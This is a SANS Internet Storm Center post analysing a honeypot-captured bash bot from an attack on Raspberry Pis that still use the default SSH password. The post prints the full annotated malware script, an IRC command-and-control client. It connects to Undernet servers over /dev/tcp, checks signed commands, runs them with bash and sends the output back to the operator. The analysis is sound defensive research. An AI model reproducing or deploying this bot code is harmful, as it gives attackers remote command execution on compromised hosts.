Two things that will never die: bash scripts and IRC!

Last week, Brock Perry, one of our SANS.edu undergraduate students, came across a neat bash script uploaded to the honeypot as part of an attack. I am sure this isn't new, but I never quite saw something like this before myself.

The bash script implements a basic IRC-based command and control channel, all in bash. It even verifies commands using digital signatures. The attack targeted Raspberry Pis via SSH using the default password. Raspberry Pis have not enabled ssh by default in years, but I guess there are still some out here that have not been taken over yet. Brock put together an excellent graphic illustrating the attack:

 

But the real gem here is the "$BOT" bash script which is part of the green section in the diagram. I added comments to the script below.

#!/bin/bash

# use the letter "a" followed by the last few digits of the md5sum of "uname -a" as IRC NICK.
# Not great, I think. Many systems will have the same kernel version and possibly the same hostname. 

SYS=`uname -a | md5sum | awk -F' ' '{print $1}'`
NICK=a${SYS:24}

# main "IRC Loop"
while [ true ]; do

                 # connect to a random Undernet server

        arr[0]="ix1.undernet.org"
        arr[1]="ix2.undernet.org"
        arr[2]="Ashburn.Va.Us.UnderNet.org"
        arr[3]="Bucharest.RO.EU.Undernet.Org"
        arr[4]="Budapest.HU.EU.UnderNet.org"
        arr[5]="Chicago.IL.US.Undernet.org"
        rand=$[$RANDOM % 6]
        svr=${arr[$rand]}

                 # poor man's Netcat, just pipe to /dev/tcp

        eval 'exec 3<>/dev/tcp/$svr/6667;'
        if [[ ! "$?" -eq 0 ]] ; then
                        continue
        fi

        # basic IRC login procedure. Send "NICK" and "USER"

        echo $NICK

        eval 'printf "NICK $NICK\r\n" >&3;'
        if [[ ! "$?" -eq 0 ]] ; then
                        continue
        fi
        eval 'printf "USER user 8 * :IRC hi\r\n" >&3;'
        if [[ ! "$?" -eq 0 ]] ; then
                continue
        fi

        # Main loop after connected
        while [ true ]; do

                # wait for messages to come in 
                eval "read msg_in <&3;"

                if [[ ! "$?" -eq 0 ]] ; then
                        break
                fi

                # if it is a PING, reply with the correct PONG

                if  [[ "$msg_in" =~ "PING" ]] ; then
                        printf "PONG %s\n" "${msg_in:5}";
                        eval 'printf "PONG %s\r\n" "${msg_in:5}" >&3;'
                        if [[ ! "$?" -eq 0 ]] ; then
                                break
                        fi
                        sleep 1
                        eval 'printf "JOIN #biret\r\n" >&3;'
                        if [[ ! "$?" -eq 0 ]] ; then
                                break
                        fi

                # PRIVMSG is where it gets interesting. These may be commands.
                elif [[ "$msg_in" =~ "PRIVMSG" ]] ; then
                        privmsg_h=$(echo $msg_in| cut -d':' -f 3)    # This is the "hash" (signature)
                        privmsg_data=$(echo $msg_in| cut -d':' -f 4).  # the message
                        privmsg_nick=$(echo $msg_in| cut -d':' -f 2 | cut -d'!' -f 1)  # the user it came from

                        # calculate the MD5 hash of the message and compare to the signature

                        # the attacker sent the public key file earlier.

                        hash=`echo $privmsg_data | base64 -d -i | md5sum | awk -F' ' '{print $1}'`
                        sign=`echo $privmsg_h | base64 -d -i | openssl rsautl -verify -inkey /tmp/public.pem -pubin`

                        if [[ "$sign" == "$hash" ]] ; then
                                CMD=`echo $privmsg_data | base64 -d -i`
                                RES=`bash -c "$CMD" | base64 -w 0`

                                # if it all works out: execute the command and reply with the output
                                eval 'printf "PRIVMSG $privmsg_nick :$RES\r\n" >&3;'
                                if [[ ! "$?" -eq 0 ]] ; then
                                        break
                                fi
                        fi
                fi
        done
done

 

I am sure this code isn't very robust, and I will not "ding" them on using MD5. It is probably good enough, and I always appreciate a neat tight bash script. Thanks to whoever wrote this to entertain me. (and thanks to Brock for finding this)

---
Johannes B. Ullrich, Ph.D. , Dean of Research, SANS.edu
Twitter|

I will be teaching next: Application Security: Securing Web Apps, APIs, and Microservices - SANS San Francisco Winter 2022

Johannes

4601 Posts
ISC Handler
Aug 30th 2022

Sign Up for Free or Log In to start participating in the conversation!